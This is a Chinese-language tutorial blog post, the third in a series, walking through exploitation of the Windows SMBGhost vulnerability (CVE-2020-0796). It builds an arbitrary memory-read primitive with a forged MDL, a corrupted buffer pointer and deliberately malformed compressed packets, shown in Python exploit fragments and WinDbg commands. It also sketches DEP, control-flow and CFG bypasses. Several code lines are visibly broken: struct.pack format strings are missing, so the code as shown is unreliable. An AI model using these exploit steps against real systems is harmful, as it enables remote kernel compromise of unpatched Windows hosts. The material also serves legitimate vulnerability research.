【经典回顾系列】 一步一步教你漏洞挖掘之Windows SMB Ghost CVE-2020-0796(三)
接上文:
漏洞利用之远程命令执行(二)
0x01 实现任意地址读
远程协议的信息泄露很难实现,关键是漏洞能够破坏或改写响应报文,利用协议中返回数据的相关函数将信息发回给用户。而目前来看,我们原始的漏洞只能破坏请求报文的数据结构,值得庆幸的是我们通过该漏洞已经获取了任意地址写的能力。正常情况下,我们会利用任意地址写来改写一些关键数据结构,来破坏响应数据结构,实现信息泄露,问题是我们无法得知往哪写。
注意到当用户建立新的SMB连接时,在`Smb2ExecuteNegotiateReal`中会申请用于响应的数据结构(与请求包一样的`SRVNET_BUFFER_HDR`,其中的MDL结构中包含一个重要的用于存放返回数据的物理内存地址),该函数最终也是用`SrvNetAllocateBuffer`来申请内存:
幸运的是`SrvNetAllocateBuffer`在内存分配时系统使用了`Lookaside` 列表(参考前面`SrvNetAllocateBuffer`的代码),这类似于一种缓存,可以加快内存的申请和释放速度(`ExAllocatePoolWithTag`及`ExFreePoolWithTag`都会花费大量时间),该列表中的内存块在申请和释放时都不会对内容进行初始化(对于这一点,个人觉得会存在内存未初始化的风险)。
经过初步分析,利用`SrvNetAllocateBuffer`申请的内存,只有最终进入`SrvNetAllocateBufferFromPool`才会对内存进行初始化操作,否则利用`Lookaside`获取的内存将保持已有的数据,后面在SMB 协商阶段将被直接使用。因此,如果恰好能够从`Lookaside` 列表申请到之前释放的经过精心构造的数据结构,就能使`Nogotiation`的返回包读取任意地址的内容,发生信息泄露。
现在我们来捋一下思路,要实现任意地址读,可以通过以下几个步骤来实现:
- 在本地准备好伪造的MDL结构,重点是将物理地址字段配置为想要读取的地址
- 利用任意写,在`SystemSharedPage`(固定地址0xfffff78000000000)中写入一个伪造的MDL结构
- 利用缓冲区溢出,将`SRVNET_BUFFER_HDR+0x38`的指针改为伪造的MDL地址,关闭连接将释放内存
- 发起正常的SMB 协商请求,如果`SRVNET_BUFFER_HDR`复用成功,将返回指定物理地址处的数据
- 利用PML4泄露内存页表内容,通过虚实转换实现任意地址读原语
(1)伪造MDL结构
关于MDL的具体结构,微软有对应的文档:
MDL (wdm.h)
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_mdl
也有相关的使用研究:
Windows MDL原理总结
https://www.cnblogs.com/jack204/archive/2011/12/25/2300983.html
struct _MDL { struct _MDL *Next; // 0x0 CSHORT Size; // 0x48 CSHORT MdlFlags; // 0x5018 ULONG Processor; // 0x0 PVOID MappedSystemVa; // 0xfffff78000000800 PVOID StartVa; // 0xfffff78000000000 ULONG ByteCount; // 0x258 ULONG ByteOffset; // PFN_NUMBER physMem[]; // 页表项 pfn} MDL, *PMDL;
计算物理地址对应的页表项:
pfn = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12
(2)将伪造的MDL写入SystemSharedPage
为了减少其他数据的干扰,我们将MDL尽量存放在`SystemSharedPage`的后端。
phys_addr = 0x222222 # 计划读取的目标物理地址pmdl_mapva = SystemSharedPage+0x800 # MDL结构体中的MappedSystemVapmdl_va = SystemSharedPage+0x900 # MDL结构的存放位置fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes()write_primitive(args.ip, args.port, fake_mdl, pmdl_va)
发送攻击数据包后,在`SystemSharedPage`中成功写入了伪造的MDL:
(3)篡改请求数据结构中的pMDL指针
在写原语中,我们利用了两次溢出实现了任意地址写(第一次溢出将目标地址改为指定值,第二次溢出将指定数据写入指定位置)。这里我们并不需要第二次溢出,只要在第一次溢出时直接将pMDL篡改为指定值就行。
该过程看似直接,其实这里有一个问题:由于pMDL位于`SRVNET_BUFFER_HDR`的后面,如果直接使用之前的溢出方法,将导致整个`SRVNET_BUFFER_HDR`都被覆盖(其中包括一个内存指针`header->pNonPagedPoolAddr`),这将导致后续的处理发生异常(释放时调用`ExFreePoolWithTag`)。
【解决该问题】我们需要跳过`SRVNET_BUFFER_HDR`,直接溢出篡改pMDL。因为`SmbCompressionDecompress`中会将解压的数据拷贝至`UserBuffer + Offset`处,所以我们只要将Offset设置为pMDL所在偏移就可以实现。
第二个问题:如果继续执行,在溢出点3进行内存拷贝时,`SRVNET_BUFFER_HDR`依然会被破坏,导致`header->pNonPagedPoolAddr`被篡改,最终`ExFreePoolWithTag`异常。
【解决该问题】我们要避免程序流程进入溢出点3,那就只能使`SmbCompressionDecompress`出错,后面直接退出:
NTSTATUS Status = SmbCompressionDecompress(...);if (Status < 0 || FinalCompressedSize != Header->OriginalSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA;}// ...// 避免执行至溢出点3
从IDA中简单分析`SmbCompressionDecompress`,判断只要在解压缩过程中发生异常,应该就能够使其返回错误值:
我们尝试在构造压缩数据时,故意将后面改为错误结构,在数据解压过程中触发异常,导致`RtlDecompressBufferEx2`返回错误,而`RtlDecompressBufferEx2`在发生错误前,仍然会将已经解压成功的数据拷贝至目标位置。利用这个特性我们能够篡改`SRVNET_BUFFER_HDR`中的pMDL指针,同时又保证程序不会破坏`header->pNonPagedPoolAddr`。
def compress_evil(buf, chunk_size=0x1000): out = b"" while buf: chunk = buf[:chunk_size] compressed = _compress_chunk(chunk) # 正常压缩过程 flags = 0xB000 # 始终标记为压缩状态 header = struct.pack(', flags | (len(compressed)-1)) out += header + compressed buf = buf[chunk_size:] out += struct.pack(', 0x1337) # 破坏 "next" 块 return out # 该函数能够篡改`SRVNET_BUFFER_HDR`中指定偏移处的内容# offset = 0x38 时指向pMDLdef write_srvnet_buffer_hdr(ip, port, data, offset): sock = reconnect(ip, port) smb_negotiate(sock) sock.recv(1000) compr_data = compress_evil(data) # 构造有问题的压缩数据 dummy_data = b"\x33"*(0x1100 + offset) smb_compress(sock, compr_data, 0xFFFFEFFF, dummy_data) sock.close()
马上测试一下,我们在发送攻击数据包前,先看一下`SRVNET_BUFFER_HDR`中的内容:
然后在`SmbCompressionDecompress`函数返回后再看一下`SRVNET_BUFFER_HDR`中的内容:
可以看到`SRVNET_BUFFER_HDR->pMDL`已经被篡改为`0xfffff78000000900`,就是我们自己伪造的MDL结构,其他数据内容都保持不变。返回值为`0xc0000242`,继续执行后将释放内容并返回,从而避免进入溢出点3导致系统崩溃。
(4)再次建立SMB连接,尝试任意物理内存读取
再次建立正常的SMB连接就行,根据前面所说,在协商阶段会申请一个`ResponseBuffer`:
系统会尝试用`Lookaside`表查询可用的内存块,如何幸运的话(实际测试发现并不一定每次都成功,但是攻击过程并不会导致目标崩溃,因此可以反复尝试)应该能够申请到上次连接释放的`SRVNET_BUFFER_HDR`,就像下面的情况:
直接继续执行,我们就能收到包含泄露的内存数据的响应包了,可以对比下wireshark和实际内存的内容:
综上4步,任意物理内存读取达成!
(5)泄露内存页表,实现任意虚拟地址读
首先我们先研究下Windows的内存机制:
Windows的内存机制
https://blog.csdn.net/ratonsea/article/details/106842622
在64位操作系统上的内存分页使用4级页表,将物理页面映射到虚拟页面,它们分别是PML4(也就是PXE)、PDPT、PD和PT。控制寄存器CR3包含当前进程PML4表的(物理)内存基地址。
【注】这里由于Windbg Preview不支持`!vtop`等命令,只能切换回老的Windbg!!!
根据 Ricera Security 的研究,PML4似乎并没有实现随机化,我在vmware的虚拟机中查看寄存器cr3的值,确实如其所说为固定值:`0x1ad000`,需要注意的是针对不同的引导方式PML4会有不同取值:`0x1aa000(BIOS)`或者`0x1ad000(UEFI)`。根据这点,我们能够通过dump页表信息,实现虚拟地址和物理地址的转换,最终将虚拟地址的读取转换成物理地址的读取。
在实际的利用代码中,Ricerca Security使用了一种似乎更为通用的方式。从物理地址`0x1000`处开始进行搜索,通过比对特征数值来寻找PML4地址和HAL堆地址:
# Use lowstub jmp bytes to signature searchLOWSTUB_JMP = 0x1000600E9# ...index = 0x1000buff = read_physmem_primitive(ip, port, index)entry = struct.unpack(", buff[0:8])[0] & 0xFFFFFFFFFFFF00FFif entry == LOWSTUB_JMP: PML4 = struct.unpack(", buff[0xA0:0xA8])[0] print("[+] PML4 at %lx" % PML4) PHAL_HEAP = struct.unpack(", buff[0x78:0x80])[0] & 0xFFFFFFFFF0000000 print("[+] base of HAL heap at %lx" % PHAL_HEAP) return
但是实际测试过程中Ricerca Security的利用代码一直未能成功。测试发现对部分物理地址读取会超时(原因有待分析),自己对代码做了一些修改(需要增加对`sock.recv`的异常处理,防止程序超时退出),终于成功泄露PML4的物理地址:
后面就是要利用PML4的地址来获取各级页表内容,实现内存转换。但是在内存读取过程中依然存在读取失败的问题:就是上面提到的读取特定物理地址失败的问题,比如读取PML4的地址`0x1ad000`时返回的数据只有6个`0x00`:
分析问题原因:通过跟踪数据包的构造和发送过程,系统最终通过`MmMapLockedPagesSpecifyCache`函数根据MDL将物理地址映射为虚拟地址。
bp nt!MmMapLockedPagesSpecifyCachebp srvnet!SrvNetSendData ".if(poi(@rdx+8)==0xfffff78000000900){}.else{gc;}"bp nt!MiFillSystemPtes+0x29d
初步分析是`MmMapLockedPagesSpecifyCache`返回NULL导致的问题,这一点非常奇怪,比如我读0x1000处就能够map成功,而对于0x2000就不行。
进一步在`MmMapLockedPagesSpecifyCache`中分别调用了`MiReservePtes`和`MiFillSystemPtes`两个函数,其中`MiReservePtes`申请一个虚拟地址用于内存映射,`MiFillSystemPtes`实现物理内存映射(虚拟地址保存在rdi)。
调试发现`MiFillSystemPtes`会对映射的内存页进行检查,如果地址位于页表本身所在地址范围,将导致内存映射失败。(IDA中的地址与调试器中的不一样,应该是页表地址随机化造成的)。
也就是说页表空间中的所有地址都无法通过`MmMapLockedPagesSpecifyCache`进行映射(系统版本:Windows10 1909 18363.418)。
【问题】目前还没有找到解决方案。未完待续!!
0x02 突破DEP防护
通过任意地址写,修改内存页对应的PTE表项,清除NX bit位,使目标内存页改为可执行。
0x03 截获程序控制流(控制RIP)
利用任意地址写,篡改内存中的某个指针,进入内存态shellcode。
0x04 突破控制流防护(CFG)
用户态CFG可能会拦截shellcode的执行,可以在内核态中patch `ntdll!LdrpValidateUserCallTarget`来绕过。
补充
【说明】ricerca security的研究人员在srv2模块中发现了一个函数`Srv2SetResponseBufferToReceiveBuffer`,该函数将请求数据结构直接赋值给响应数据结构,也就是说我们破坏的请求数据结构将直接影响响应数据。此外利用IDA可以发现,`srv2!Smb2SetError`函数会调用`srv2!Srv2SetResponseBufferToReceiveBuffer`,也就是说当srv2.sys想发送错误消息时就会调用该函数。但是在漏洞利用过程中,似乎并不需要利用这点。
void Srv2SetResponseBufferToReceiveBuffer( SRV2_WORKITEM *workitem) { ... workitem->psbhResponse = workitem->psbhRequest; ...}
写在最后
此处,CVE-2020-0796漏洞的分析告一段落了,其实还有很多问题没有搞清楚,有些许遗憾,值得进一步深入研究,有志同道合的小伙伴可以一起探讨。
